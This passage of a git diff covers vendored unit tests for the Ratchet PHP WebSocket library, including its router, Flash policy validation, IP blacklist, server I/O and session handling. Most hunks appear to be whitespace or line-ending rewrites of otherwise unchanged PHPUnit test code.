$this->getMockBuilder('\Ratchet\WebSocket\WsServer')->disableOriginalConstructor()->getMock(); + /** @var $matcher UrlMatcherInterface */ + $this->_matcher->expects($this->any())->method('match')->will( + $this->returnValue(['_controller' => $controller, 'foo' => 'bar', 'baz' => 'qux']) + ); + $conn = $this->getMock('Ratchet\Mock\Connection'); + + $router = new Router($this->_matcher); + + $router->onOpen($conn, $this->_req); + + $this->assertEquals('foo=bar&baz=qux', $this->_req->getUri()->getQuery()); + } + + public function testQueryParams() { + $controller = $this->getMockBuilder('\Ratchet\WebSocket\WsServer')->disableOriginalConstructor()->getMock(); + $this->_matcher->expects($this->any())->method('match')->will( + $this->returnValue(['_controller' => $controller, 'foo' => 'bar', 'baz' => 'qux']) + ); + + $conn = $this->getMock('Ratchet\Mock\Connection'); + $request = $this->getMock('Psr\Http\Message\RequestInterface'); + $uri = new \GuzzleHttp\Psr7\Uri('ws://doesnt.matter/endpoint?hello=world&foo=nope'); + + $request->expects($this->any())->method('getUri')->will($this->returnCallback(function() use (&$uri) { + return $uri; + })); + $request->expects($this->any())->method('withUri')->with($this->callback(function($url) use (&$uri) { + $uri = $url; + + return true; + }))->will($this->returnSelf()); + + $router = new Router($this->_matcher); + $router->onOpen($conn, $request); + + $this->assertEquals('foo=nope&baz=qux&hello=world', $request->getUri()->getQuery()); + $this->assertEquals('ws', $request->getUri()->getScheme()); + $this->assertEquals('doesnt.matter', $request->getUri()->getHost()); + } + + public function testImpatientClientOverflow() { + $this->_conn->expects($this->once())->method('close'); + + $header = "GET /nope HTTP/1.1 +Upgrade: websocket +Connection: upgrade +Host: localhost +Origin: http://localhost +Sec-WebSocket-Version: 13\r\n\r\n"; + + $app = new HttpServer(new Router(new UrlMatcher(new RouteCollection, new RequestContext))); + $app->onOpen($this->_conn); + $app->onMessage($this->_conn, $header); + $app->onMessage($this->_conn, 'Silly body'); + } +} diff --git a/vendor/cboden/ratchet/tests/unit/Server/EchoServerTest.php b/vendor/cboden/ratchet/tests/unit/Server/EchoServerTest.php index 656c6b71ab..47fb0e283b 100644 --- a/vendor/cboden/ratchet/tests/unit/Server/EchoServerTest.php +++ b/vendor/cboden/ratchet/tests/unit/Server/EchoServerTest.php @@ -1,26 +1,26 @@ -_conn = $this->getMock('\Ratchet\ConnectionInterface'); - $this->_comp = new EchoServer; - } - - public function testMessageEchod() { - $message = 'Tillsonburg, my back still aches when I hear that word.'; - $this->_conn->expects($this->once())->method('send')->with($message); - $this->_comp->onMessage($this->_conn, $message); - } - - public function testErrorClosesConnection() { - ob_start(); - $this->_conn->expects($this->once())->method('close'); - $this->_comp->onError($this->_conn, new \Exception); - ob_end_clean(); - } -} +_conn = $this->getMock('\Ratchet\ConnectionInterface'); + $this->_comp = new EchoServer; + } + + public function testMessageEchod() { + $message = 'Tillsonburg, my back still aches when I hear that word.'; + $this->_conn->expects($this->once())->method('send')->with($message); + $this->_comp->onMessage($this->_conn, $message); + } + + public function testErrorClosesConnection() { + ob_start(); + $this->_conn->expects($this->once())->method('close'); + $this->_comp->onError($this->_conn, new \Exception); + ob_end_clean(); + } +} diff --git a/vendor/cboden/ratchet/tests/unit/Server/FlashPolicyComponentTest.php b/vendor/cboden/ratchet/tests/unit/Server/FlashPolicyComponentTest.php index 5962f82c1f..38fc96a658 100644 --- a/vendor/cboden/ratchet/tests/unit/Server/FlashPolicyComponentTest.php +++ b/vendor/cboden/ratchet/tests/unit/Server/FlashPolicyComponentTest.php @@ -1,152 +1,152 @@ -_policy = new FlashPolicy(); - } - - public function testPolicyRender() { - $this->_policy->setSiteControl('all'); - $this->_policy->addAllowedAccess('example.com', '*'); - $this->_policy->addAllowedAccess('dev.example.com', '*'); - - $this->assertInstanceOf('SimpleXMLElement', $this->_policy->renderPolicy()); - } - - public function testInvalidPolicyReader() { - $this->setExpectedException('UnexpectedValueException'); - $this->_policy->renderPolicy(); - } - - public function testInvalidDomainPolicyReader() { - $this->setExpectedException('UnexpectedValueException'); - $this->_policy->setSiteControl('all'); - $this->_policy->addAllowedAccess('dev.example.*', '*'); - $this->_policy->renderPolicy(); - } - - /** - * @dataProvider siteControl - */ - public function testSiteControlValidation($accept, $permittedCrossDomainPolicies) { - $this->assertEquals($accept, $this->_policy->validateSiteControl($permittedCrossDomainPolicies)); - } - - public static function siteControl() { - return array( - array(true, 'all') - , array(true, 'none') - , array(true, 'master-only') - , array(false, 'by-content-type') - , array(false, 'by-ftp-filename') - , array(false, '') - , array(false, 'all ') - , array(false, 'asdf') - , array(false, '@893830') - , array(false, '*') - ); - } - - /** - * @dataProvider URI - */ - public function testDomainValidation($accept, $domain) { - $this->assertEquals($accept, $this->_policy->validateDomain($domain)); - } - - public static function URI() { - return array( - array(true, '*') - , array(true, 'example.com') - , array(true, 'exam-ple.com') - , array(true, '*.example.com') - , array(true, 'www.example.com') - , array(true, 'dev.dev.example.com') - , array(true, 'http://example.com') - , array(true, 'https://example.com') - , array(true, 'http://*.example.com') - , array(false, 'exam*ple.com') - , array(true, '127.0.255.1') - , array(true, 'localhost') - , array(false, 'www.example.*') - , array(false, 'www.exa*le.com') - , array(false, 'www.example.*com') - , array(false, '*.example.*') - , array(false, 'gasldf*$#a0sdf0a8sdf') - ); - } - - /** - * @dataProvider ports - */ - public function testPortValidation($accept, $ports) { - $this->assertEquals($accept, $this->_policy->validatePorts($ports)); - } - - public static function ports() { - return array( - array(true, '*') - , array(true, '80') - , array(true, '80,443') - , array(true, '507,516-523') - , array(true, '507,516-523,333') - , array(true, '507,516-523,507,516-523') - , array(false, '516-') - , array(true, '516-523,11') - , array(false, '516,-523,11') - , array(false, 'example') - , array(false, 'asdf,123') - , array(false, '--') - , array(false, ',,,') - , array(false, '838*') - ); - } - - public function testAddAllowedAccessOnlyAcceptsValidPorts() { - $this->setExpectedException('UnexpectedValueException'); - - $this->_policy->addAllowedAccess('*', 'nope'); - } - - public function testSetSiteControlThrowsException() { - $this->setExpectedException('UnexpectedValueException'); - - $this->_policy->setSiteControl('nope'); - } - - public function testErrorClosesConnection() { - $conn = $this->getMock('\\Ratchet\\ConnectionInterface'); - $conn->expects($this->once())->method('close'); - - $this->_policy->onError($conn, new \Exception); - } - - public function testOnMessageSendsString() { - $this->_policy->addAllowedAccess('*', '*'); - - $conn = $this->getMock('\\Ratchet\\ConnectionInterface'); - $conn->expects($this->once())->method('send')->with($this->isType('string')); - - $this->_policy->onMessage($conn, ' '); - } - - public function testOnOpenExists() { - $this->assertTrue(method_exists($this->_policy, 'onOpen')); - $conn = $this->getMock('\Ratchet\ConnectionInterface'); - $this->_policy->onOpen($conn); - } - - public function testOnCloseExists() { - $this->assertTrue(method_exists($this->_policy, 'onClose')); - $conn = $this->getMock('\Ratchet\ConnectionInterface'); - $this->_policy->onClose($conn); - } -} +_policy = new FlashPolicy(); + } + + public function testPolicyRender() { + $this->_policy->setSiteControl('all'); + $this->_policy->addAllowedAccess('example.com', '*'); + $this->_policy->addAllowedAccess('dev.example.com', '*'); + + $this->assertInstanceOf('SimpleXMLElement', $this->_policy->renderPolicy()); + } + + public function testInvalidPolicyReader() { + $this->setExpectedException('UnexpectedValueException'); + $this->_policy->renderPolicy(); + } + + public function testInvalidDomainPolicyReader() { + $this->setExpectedException('UnexpectedValueException'); + $this->_policy->setSiteControl('all'); + $this->_policy->addAllowedAccess('dev.example.*', '*'); + $this->_policy->renderPolicy(); + } + + /** + * @dataProvider siteControl + */ + public function testSiteControlValidation($accept, $permittedCrossDomainPolicies) { + $this->assertEquals($accept, $this->_policy->validateSiteControl($permittedCrossDomainPolicies)); + } + + public static function siteControl() { + return array( + array(true, 'all') + , array(true, 'none') + , array(true, 'master-only') + , array(false, 'by-content-type') + , array(false, 'by-ftp-filename') + , array(false, '') + , array(false, 'all ') + , array(false, 'asdf') + , array(false, '@893830') + , array(false, '*') + ); + } + + /** + * @dataProvider URI + */ + public function testDomainValidation($accept, $domain) { + $this->assertEquals($accept, $this->_policy->validateDomain($domain)); + } + + public static function URI() { + return array( + array(true, '*') + , array(true, 'example.com') + , array(true, 'exam-ple.com') + , array(true, '*.example.com') + , array(true, 'www.example.com') + , array(true, 'dev.dev.example.com') + , array(true, 'http://example.com') + , array(true, 'https://example.com') + , array(true, 'http://*.example.com') + , array(false, 'exam*ple.com') + , array(true, '127.0.255.1') + , array(true, 'localhost') + , array(false, 'www.example.*') + , array(false, 'www.exa*le.com') + , array(false, 'www.example.*com') + , array(false, '*.example.*') + , array(false, 'gasldf*$#a0sdf0a8sdf') + ); + } + + /** + * @dataProvider ports + */ + public function testPortValidation($accept, $ports) { + $this->assertEquals($accept, $this->_policy->validatePorts($ports)); + } + + public static function ports() { + return array( + array(true, '*') + , array(true, '80') + , array(true, '80,443') + , array(true, '507,516-523') + , array(true, '507,516-523,333') + , array(true, '507,516-523,507,516-523') + , array(false, '516-') + , array(true, '516-523,11') + , array(false, '516,-523,11') + , array(false, 'example') + , array(false, 'asdf,123') + , array(false, '--') + , array(false, ',,,') + , array(false, '838*') + ); + } + + public function testAddAllowedAccessOnlyAcceptsValidPorts() { + $this->setExpectedException('UnexpectedValueException'); + + $this->_policy->addAllowedAccess('*', 'nope'); + } + + public function testSetSiteControlThrowsException() { + $this->setExpectedException('UnexpectedValueException'); + + $this->_policy->setSiteControl('nope'); + } + + public function testErrorClosesConnection() { + $conn = $this->getMock('\\Ratchet\\ConnectionInterface'); + $conn->expects($this->once())->method('close'); + + $this->_policy->onError($conn, new \Exception); + } + + public function testOnMessageSendsString() { + $this->_policy->addAllowedAccess('*', '*'); + + $conn = $this->getMock('\\Ratchet\\ConnectionInterface'); + $conn->expects($this->once())->method('send')->with($this->isType('string')); + + $this->_policy->onMessage($conn, ' '); + } + + public function testOnOpenExists() { + $this->assertTrue(method_exists($this->_policy, 'onOpen')); + $conn = $this->getMock('\Ratchet\ConnectionInterface'); + $this->_policy->onOpen($conn); + } + + public function testOnCloseExists() { + $this->assertTrue(method_exists($this->_policy, 'onClose')); + $conn = $this->getMock('\Ratchet\ConnectionInterface'); + $this->_policy->onClose($conn); + } +} diff --git a/vendor/cboden/ratchet/tests/unit/Server/IoConnectionTest.php b/vendor/cboden/ratchet/tests/unit/Server/IoConnectionTest.php index db896554bd..07130f6daa 100644 --- a/vendor/cboden/ratchet/tests/unit/Server/IoConnectionTest.php +++ b/vendor/cboden/ratchet/tests/unit/Server/IoConnectionTest.php @@ -1,32 +1,32 @@ -sock = $this->getMock('\\React\\Socket\\ConnectionInterface'); - $this->conn = new IoConnection($this->sock); - } - - public function testCloseBubbles() { - $this->sock->expects($this->once())->method('end'); - $this->conn->close(); - } - - public function testSendBubbles() { - $msg = '6 hour rides are productive'; - - $this->sock->expects($this->once())->method('write')->with($msg); - $this->conn->send($msg); - } - - public function testSendReturnsSelf() { - $this->assertSame($this->conn, $this->conn->send('fluent interface')); - } -} +sock = $this->getMock('\\React\\Socket\\ConnectionInterface'); + $this->conn = new IoConnection($this->sock); + } + + public function testCloseBubbles() { + $this->sock->expects($this->once())->method('end'); + $this->conn->close(); + } + + public function testSendBubbles() { + $msg = '6 hour rides are productive'; + + $this->sock->expects($this->once())->method('write')->with($msg); + $this->conn->send($msg); + } + + public function testSendReturnsSelf() { + $this->assertSame($this->conn, $this->conn->send('fluent interface')); + } +} diff --git a/vendor/cboden/ratchet/tests/unit/Server/IoServerTest.php b/vendor/cboden/ratchet/tests/unit/Server/IoServerTest.php index 67e16ac3b0..e20115f23d 100644 --- a/vendor/cboden/ratchet/tests/unit/Server/IoServerTest.php +++ b/vendor/cboden/ratchet/tests/unit/Server/IoServerTest.php @@ -1,127 +1,127 @@ -futureTick(function () use ($loop) { - $loop->stop(); - }); - - $loop->run(); - } - - public function setUp() { - $this->app = $this->getMock('\\Ratchet\\MessageComponentInterface'); - - $loop = new StreamSelectLoop; - $this->reactor = new Server(0, $loop); - - $uri = $this->reactor->getAddress(); - $this->port = parse_url((strpos($uri, '://') === false ? 'tcp://' : '') . $uri, PHP_URL_PORT); - $this->server = new IoServer($this->app, $this->reactor, $loop); - } - - public function testOnOpen() { - $this->app->expects($this->once())->method('onOpen')->with($this->isInstanceOf('\\Ratchet\\ConnectionInterface')); - - $client = stream_socket_client("tcp://localhost:{$this->port}"); - - $this->tickLoop($this->server->loop); - - //$this->assertTrue(is_string($this->app->last['onOpen'][0]->remoteAddress)); - //$this->assertTrue(is_int($this->app->last['onOpen'][0]->resourceId)); - } - - public function testOnData() { - $msg = 'Hello World!'; - - $this->app->expects($this->once())->method('onMessage')->with( - $this->isInstanceOf('\\Ratchet\\ConnectionInterface') - , $msg - ); - - $client = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); - socket_set_option($client, SOL_SOCKET, SO_REUSEADDR, 1); - socket_set_option($client, SOL_SOCKET, SO_SNDBUF, 4096); - socket_set_block($client); - socket_connect($client, 'localhost', $this->port); - - $this->tickLoop($this->server->loop); - - socket_write($client, $msg); - $this->tickLoop($this->server->loop); - - socket_shutdown($client, 1); - socket_shutdown($client, 0); - socket_close($client); - - $this->tickLoop($this->server->loop); - } - - public function testOnClose() { - $this->app->expects($this->once())->method('onClose')->with($this->isInstanceOf('\\Ratchet\\ConnectionInterface')); - - $client = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); - socket_set_option($client, SOL_SOCKET, SO_REUSEADDR, 1); - socket_set_option($client, SOL_SOCKET, SO_SNDBUF, 4096); - socket_set_block($client); - socket_connect($client, 'localhost', $this->port); - - $this->tickLoop($this->server->loop); - - socket_shutdown($client, 1); - socket_shutdown($client, 0); - socket_close($client); - - $this->tickLoop($this->server->loop); - } - - public function testFactory() { - $this->assertInstanceOf('\\Ratchet\\Server\\IoServer', IoServer::factory($this->app, 0)); - } - - public function testNoLoopProvidedError() { - $this->setExpectedException('RuntimeException'); - - $io = new IoServer($this->app, $this->reactor); - $io->run(); - } - - public function testOnErrorPassesException() { - $conn = $this->getMock('\\React\\Socket\\ConnectionInterface'); - $conn->decor = $this->getMock('\\Ratchet\\ConnectionInterface'); - $err = new \Exception("Nope"); - - $this->app->expects($this->once())->method('onError')->with($conn->decor, $err); - - $this->server->handleError($err, $conn); - } - - public function onErrorCalledWhenExceptionThrown() { - $this->markTestIncomplete("Need to learn how to throw an exception from a mock"); - - $conn = $this->getMock('\\React\\Socket\\ConnectionInterface'); - $this->server->handleConnect($conn); - - $e = new \Exception; - $this->app->expects($this->once())->method('onMessage')->with($this->isInstanceOf('\\Ratchet\\ConnectionInterface'), 'f')->will($e); - $this->app->expects($this->once())->method('onError')->with($this->instanceOf('\\Ratchet\\ConnectionInterface', $e)); - - $this->server->handleData('f', $conn); - } -} +futureTick(function () use ($loop) { + $loop->stop(); + }); + + $loop->run(); + } + + public function setUp() { + $this->app = $this->getMock('\\Ratchet\\MessageComponentInterface'); + + $loop = new StreamSelectLoop; + $this->reactor = new Server(0, $loop); + + $uri = $this->reactor->getAddress(); + $this->port = parse_url((strpos($uri, '://') === false ? 'tcp://' : '') . $uri, PHP_URL_PORT); + $this->server = new IoServer($this->app, $this->reactor, $loop); + } + + public function testOnOpen() { + $this->app->expects($this->once())->method('onOpen')->with($this->isInstanceOf('\\Ratchet\\ConnectionInterface')); + + $client = stream_socket_client("tcp://localhost:{$this->port}"); + + $this->tickLoop($this->server->loop); + + //$this->assertTrue(is_string($this->app->last['onOpen'][0]->remoteAddress)); + //$this->assertTrue(is_int($this->app->last['onOpen'][0]->resourceId)); + } + + public function testOnData() { + $msg = 'Hello World!'; + + $this->app->expects($this->once())->method('onMessage')->with( + $this->isInstanceOf('\\Ratchet\\ConnectionInterface') + , $msg + ); + + $client = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); + socket_set_option($client, SOL_SOCKET, SO_REUSEADDR, 1); + socket_set_option($client, SOL_SOCKET, SO_SNDBUF, 4096); + socket_set_block($client); + socket_connect($client, 'localhost', $this->port); + + $this->tickLoop($this->server->loop); + + socket_write($client, $msg); + $this->tickLoop($this->server->loop); + + socket_shutdown($client, 1); + socket_shutdown($client, 0); + socket_close($client); + + $this->tickLoop($this->server->loop); + } + + public function testOnClose() { + $this->app->expects($this->once())->method('onClose')->with($this->isInstanceOf('\\Ratchet\\ConnectionInterface')); + + $client = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); + socket_set_option($client, SOL_SOCKET, SO_REUSEADDR, 1); + socket_set_option($client, SOL_SOCKET, SO_SNDBUF, 4096); + socket_set_block($client); + socket_connect($client, 'localhost', $this->port); + + $this->tickLoop($this->server->loop); + + socket_shutdown($client, 1); + socket_shutdown($client, 0); + socket_close($client); + + $this->tickLoop($this->server->loop); + } + + public function testFactory() { + $this->assertInstanceOf('\\Ratchet\\Server\\IoServer', IoServer::factory($this->app, 0)); + } + + public function testNoLoopProvidedError() { + $this->setExpectedException('RuntimeException'); + + $io = new IoServer($this->app, $this->reactor); + $io->run(); + } + + public function testOnErrorPassesException() { + $conn = $this->getMock('\\React\\Socket\\ConnectionInterface'); + $conn->decor = $this->getMock('\\Ratchet\\ConnectionInterface'); + $err = new \Exception("Nope"); + + $this->app->expects($this->once())->method('onError')->with($conn->decor, $err); + + $this->server->handleError($err, $conn); + } + + public function onErrorCalledWhenExceptionThrown() { + $this->markTestIncomplete("Need to learn how to throw an exception from a mock"); + + $conn = $this->getMock('\\React\\Socket\\ConnectionInterface'); + $this->server->handleConnect($conn); + + $e = new \Exception; + $this->app->expects($this->once())->method('onMessage')->with($this->isInstanceOf('\\Ratchet\\ConnectionInterface'), 'f')->will($e); + $this->app->expects($this->once())->method('onError')->with($this->instanceOf('\\Ratchet\\ConnectionInterface', $e)); + + $this->server->handleData('f', $conn); + } +} diff --git a/vendor/cboden/ratchet/tests/unit/Server/IpBlackListComponentTest.php b/vendor/cboden/ratchet/tests/unit/Server/IpBlackListComponentTest.php index 4a30a286d0..90f418597f 100644 --- a/vendor/cboden/ratchet/tests/unit/Server/IpBlackListComponentTest.php +++ b/vendor/cboden/ratchet/tests/unit/Server/IpBlackListComponentTest.php @@ -1,125 +1,125 @@ -mock = $this->getMock('\\Ratchet\\MessageComponentInterface'); - $this->blocker = new IpBlackList($this->mock); - } - - public function testOnOpen() { - $this->mock->expects($this->exactly(3))->method('onOpen'); - - $conn1 = $this->newConn(); - $conn2 = $this->newConn(); - $conn3 = $this->newConn(); - - $this->blocker->onOpen($conn1); - $this->blocker->onOpen($conn3); - $this->blocker->onOpen($conn2); - } - - public function testBlockDoesNotTriggerOnOpen() { - $conn = $this->newConn(); - - $this->blocker->blockAddress($conn->remoteAddress); - - $this->mock->expects($this->never())->method('onOpen'); - - $ret = $this->blocker->onOpen($conn); - } - - public function testBlockDoesNotTriggerOnClose() { - $conn = $this->newConn(); - - $this->blocker->blockAddress($conn->remoteAddress); - - $this->mock->expects($this->never())->method('onClose'); - - $ret = $this->blocker->onOpen($conn); - } - - public function testOnMessageDecoration() { - $conn = $this->newConn(); - $msg = 'Hello not being blocked'; - - $this->mock->expects($this->once())->method('onMessage')->with($conn, $msg); - - $this->blocker->onMessage($conn, $msg); - } - - public function testOnCloseDecoration() { - $conn = $this->newConn(); - - $this->mock->expects($this->once())->method('onClose')->with($conn); - - $this->blocker->onClose($conn); - } - - public function testBlockClosesConnection() { - $conn = $this->newConn(); - $this->blocker->blockAddress($conn->remoteAddress); - - $conn->expects($this->once())->method('close'); - - $this->blocker->onOpen($conn); - } - - public function testAddAndRemoveWithFluentInterfaces() { - $blockOne = '127.0.0.1'; - $blockTwo = '192.168.1.1'; - $unblock = '75.119.207.140'; - - $this->blocker - ->blockAddress($unblock) - ->blockAddress($blockOne) - ->unblockAddress($unblock) - ->blockAddress($blockTwo) - ; - - $this->assertEquals(array($blockOne, $blockTwo), $this->blocker->getBlockedAddresses()); - } - - public function testDecoratorPassesErrors() { - $conn = $this->newConn(); - $e = new \Exception('I threw an error'); - - $this->mock->expects($this->once())->method('onError')->with($conn, $e); - - $this->blocker->onError($conn, $e); - } - - public function addressProvider() { - return array( - array('127.0.0.1', '127.0.0.1') - , array('localhost', 'localhost') - , array('fe80::1%lo0', 'fe80::1%lo0') - , array('127.0.0.1', '127.0.0.1:6392') - ); - } - - /** - * @dataProvider addressProvider - */ - public function testFilterAddress($expected, $input) { - $this->assertEquals($expected, $this->blocker->filterAddress($input)); - } - - public function testUnblockingSilentlyFails() { - $this->assertInstanceOf('\\Ratchet\\Server\\IpBlackList', $this->blocker->unblockAddress('localhost')); - } - - protected function newConn() { - $conn = $this->getMock('\\Ratchet\\ConnectionInterface'); - $conn->remoteAddress = '127.0.0.1'; - - return $conn; - } -} +mock = $this->getMock('\\Ratchet\\MessageComponentInterface'); + $this->blocker = new IpBlackList($this->mock); + } + + public function testOnOpen() { + $this->mock->expects($this->exactly(3))->method('onOpen'); + + $conn1 = $this->newConn(); + $conn2 = $this->newConn(); + $conn3 = $this->newConn(); + + $this->blocker->onOpen($conn1); + $this->blocker->onOpen($conn3); + $this->blocker->onOpen($conn2); + } + + public function testBlockDoesNotTriggerOnOpen() { + $conn = $this->newConn(); + + $this->blocker->blockAddress($conn->remoteAddress); + + $this->mock->expects($this->never())->method('onOpen'); + + $ret = $this->blocker->onOpen($conn); + } + + public function testBlockDoesNotTriggerOnClose() { + $conn = $this->newConn(); + + $this->blocker->blockAddress($conn->remoteAddress); + + $this->mock->expects($this->never())->method('onClose'); + + $ret = $this->blocker->onOpen($conn); + } + + public function testOnMessageDecoration() { + $conn = $this->newConn(); + $msg = 'Hello not being blocked'; + + $this->mock->expects($this->once())->method('onMessage')->with($conn, $msg); + + $this->blocker->onMessage($conn, $msg); + } + + public function testOnCloseDecoration() { + $conn = $this->newConn(); + + $this->mock->expects($this->once())->method('onClose')->with($conn); + + $this->blocker->onClose($conn); + } + + public function testBlockClosesConnection() { + $conn = $this->newConn(); + $this->blocker->blockAddress($conn->remoteAddress); + + $conn->expects($this->once())->method('close'); + + $this->blocker->onOpen($conn); + } + + public function testAddAndRemoveWithFluentInterfaces() { + $blockOne = '127.0.0.1'; + $blockTwo = '192.168.1.1'; + $unblock = '75.119.207.140'; + + $this->blocker + ->blockAddress($unblock) + ->blockAddress($blockOne) + ->unblockAddress($unblock) + ->blockAddress($blockTwo) + ; + + $this->assertEquals(array($blockOne, $blockTwo), $this->blocker->getBlockedAddresses()); + } + + public function testDecoratorPassesErrors() { + $conn = $this->newConn(); + $e = new \Exception('I threw an error'); + + $this->mock->expects($this->once())->method('onError')->with($conn, $e); + + $this->blocker->onError($conn, $e); + } + + public function addressProvider() { + return array( + array('127.0.0.1', '127.0.0.1') + , array('localhost', 'localhost') + , array('fe80::1%lo0', 'fe80::1%lo0') + , array('127.0.0.1', '127.0.0.1:6392') + ); + } + + /** + * @dataProvider addressProvider + */ + public function testFilterAddress($expected, $input) { + $this->assertEquals($expected, $this->blocker->filterAddress($input)); + } + + public function testUnblockingSilentlyFails() { + $this->assertInstanceOf('\\Ratchet\\Server\\IpBlackList', $this->blocker->unblockAddress('localhost')); + } + + protected function newConn() { + $conn = $this->getMock('\\Ratchet\\ConnectionInterface'); + $conn->remoteAddress = '127.0.0.1'; + + return $conn; + } +} diff --git a/vendor/cboden/ratchet/tests/unit/Session/Serialize/PhpHandlerTest.php b/vendor/cboden/ratchet/tests/unit/Session/Serialize/PhpHandlerTest.php index 129dc5cfbb..4acf5bc685 100644 --- a/vendor/cboden/ratchet/tests/unit/Session/Serialize/PhpHandlerTest.php +++ b/vendor/cboden/ratchet/tests/unit/Session/Serialize/PhpHandlerTest.php @@ -1,43 +1,43 @@ -_handler = new PhpHandler; - } - - public function serializedProvider() { - return array( - array( - '_sf2_attributes|a:2:{s:5:"hello";s:5:"world";s:4:"last";i:1332872102;}_sf2_flashes|a:0:{}' - , array( - '_sf2_attributes' => array( - 'hello' => 'world' - , 'last' => 1332872102 - ) - , '_sf2_flashes' => array() - ) - ) - ); - } - - /** - * @dataProvider serializedProvider - */ - public function testUnserialize($in, $expected) { - $this->assertEquals($expected, $this->_handler->unserialize($in)); - } - - /** - * @dataProvider serializedProvider - */ - public function testSerialize($serialized, $original) { - $this->assertEquals($serialized, $this->_handler->serialize($original)); - } -} +_handler = new PhpHandler; + } + + public function serializedProvider() { + return array( + array( + '_sf2_attributes|a:2:{s:5:"hello";s:5:"world";s:4:"last";i:1332872102;}_sf2_flashes|a:0:{}' + , array( + '_sf2_attributes' => array( + 'hello' => 'world' + , 'last' => 1332872102 + ) + , '_sf2_flashes' => array() + ) + ) + ); + } + + /** + * @dataProvider serializedProvider + */ + public function testUnserialize($in, $expected) { + $this->assertEquals($expected, $this->_handler->unserialize($in)); + } + + /** + * @dataProvider serializedProvider + */ + public function testSerialize($serialized, $original) { + $this->assertEquals($serialized, $this->_handler->serialize($original)); + } +} diff --git a/vendor/cboden/ratchet/tests/unit/Session/SessionComponentTest.php b/vendor/cboden/ratchet/tests/unit/Session/SessionComponentTest.php index d61a6cf5e1..ebfdde4c19 100644 --- a/vendor/cboden/ratchet/tests/unit/Session/SessionComponentTest.php +++ b/vendor/cboden/ratchet/tests/unit/Session/SessionComponentTest.php @@ -1,124 +1,124 @@ -markTestSkipped('Dependency of Symfony HttpFoundation failed'); - } - - parent::setUp(); - $this->_serv = new SessionProvider($this->_app, new NullSessionHandler); - } - - public function tearDown() { - ini_set('session.serialize_handler', 'php'); - } - - public function getConnectionClassString() { - return '\Ratchet\ConnectionInterface'; - } - - public function getDecoratorClassString() { - return '\Ratchet\NullComponent'; - } - - public function getComponentClassString() { - return '\Ratchet\Http\HttpServerInterface'; - } - - public function classCaseProvider() { - return array( - array('php', 'Php') - , array('php_binary', 'PhpBinary') - ); - } - - /** - * @dataProvider classCaseProvider - */ - public function testToClassCase($in, $out) { - $ref = new \ReflectionClass('\\Ratchet\\Session\\SessionProvider'); - $method = $ref->getMethod('toClassCase'); - $method->setAccessible(true); - - $component = new SessionProvider($this->getMock($this->getComponentClassString()), $this->getMock('\SessionHandlerInterface')); - $this->assertEquals($out, $method->invokeArgs($component, array($in))); - } - - /** - * I think I have severely butchered this test...it's not so much of a unit test as it is a full-fledged component test - */ - public function testConnectionValueFromPdo() { - if (!extension_loaded('PDO') || !extension_loaded('pdo_sqlite')) { - return $this->markTestSkipped('Session test requires PDO and pdo_sqlite'); - } - - $sessionId = md5('testSession'); - - $dbOptions = array( - 'db_table' => 'sessions' - , 'db_id_col' => 'sess_id' - , 'db_data_col' => 'sess_data' - , 'db_time_col' => 'sess_time' - , 'db_lifetime_col' => 'sess_lifetime' - ); - - $pdo = new \PDO("sqlite::memory:"); - $pdo->setAttribute(\PDO::ATTR_ERRMODE, \PDO::ERRMODE_EXCEPTION); - $pdo->exec(vsprintf("CREATE TABLE %s (%s TEXT NOT NULL PRIMARY KEY, %s BLOB NOT NULL, %s INTEGER NOT NULL, %s INTEGER)", $dbOptions)); - - $pdoHandler = new PdoSessionHandler($pdo, $dbOptions); - $pdoHandler->write($sessionId, '_sf2_attributes|a:2:{s:5:"hello";s:5:"world";s:4:"last";i:1332872102;}_sf2_flashes|a:0:{}'); - - $component = new SessionProvider($this->getMock($this->getComponentClassString()), $pdoHandler, array('auto_start' => 1)); - $connection = $this->getMock('Ratchet\\ConnectionInterface'); - - $headers = $this->getMock('Psr\Http\Message\RequestInterface'); - $headers->expects($this->once())->method('getHeader')->will($this->returnValue([ini_get('session.name') . "={$sessionId};"])); - - $component->onOpen($connection, $headers); - - $this->assertEquals('world', $connection->Session->get('hello')); - } - - protected function newConn() { - $conn = $this->getMock('Ratchet\ConnectionInterface'); - - $headers = $this->getMock('Psr\Http\Message\Request', array('getCookie'), array('POST', '/', array())); - $headers->expects($this->once())->method('getCookie', array(ini_get('session.name')))->will($this->returnValue(null)); - - return $conn; - } - - public function testOnMessageDecorator() { - $message = "Database calls are usually blocking :("; - $this->_app->expects($this->once())->method('onMessage')->with($this->isExpectedConnection(), $message); - $this->_serv->onMessage($this->_conn, $message); - } - - public function testRejectInvalidSeralizers() { - if (!function_exists('wddx_serialize_value')) { - $this->markTestSkipped(); - } - - ini_set('session.serialize_handler', 'wddx'); - $this->setExpectedException('\RuntimeException'); - new SessionProvider($this->getMock($this->getComponentClassString()), $this->getMock('\SessionHandlerInterface')); - } - - protected function doOpen($conn) { - $request = $this->getMock('Psr\Http\Message\RequestInterface'); - $request->expects($this->any())->method('getHeader')->will($this->returnValue([])); - - $this->_serv->onOpen($conn, $request); - } -} +markTestSkipped('Dependency of Symfony HttpFoundation failed'); + } + + parent::setUp(); + $this->_serv = new SessionProvider($this->_app, new NullSessionHandler); + } + + public function tearDown() { + ini_set('session.serialize_handler', 'php'); + } + + public function getConnectionClassString() { + return '\Ratchet\ConnectionInterface'; + } + + public function getDecoratorClassString() { + return '\Ratchet\NullComponent'; + } + + public function getComponentClassString() { + return '\Ratchet\Http\HttpServerInterface'; + } + + public function classCaseProvider() { + return array( + array('php', 'Php') + , array('php_binary', 'PhpBinary') + ); + } + + /** + * @dataProvider classCaseProvider + */ + public function testToClassCase($in, $out) { + $ref = new \ReflectionClass('\\Ratchet\\Session\\SessionProvider'); + $method = $ref->getMethod('toClassCase'); + $method->setAccessible(true); + + $component = new SessionProvider($this->getMock($this->getComponentClassString()), $this->getMock('\SessionHandlerInterface')); + $this->assertEquals($out, $method->invokeArgs($component, array($in))); + } + + /** + * I think I have severely butchered this test...it's not so much of a unit test as it is a full-fledged component test + */ + public function testConnectionValueFromPdo() { + if (!extension_loaded('PDO') || !extension_loaded('pdo_sqlite')) { + return $this->markTestSkipped('Session test requires PDO and pdo_sqlite'); + } + + $sessionId = md5('testSession'); + + $dbOptions = array( + 'db_table' => 'sessions' + , 'db_id_col' => 'sess_id' + , 'db_data_col' => 'sess_data' + , 'db_time_col' => 'sess_time' + , 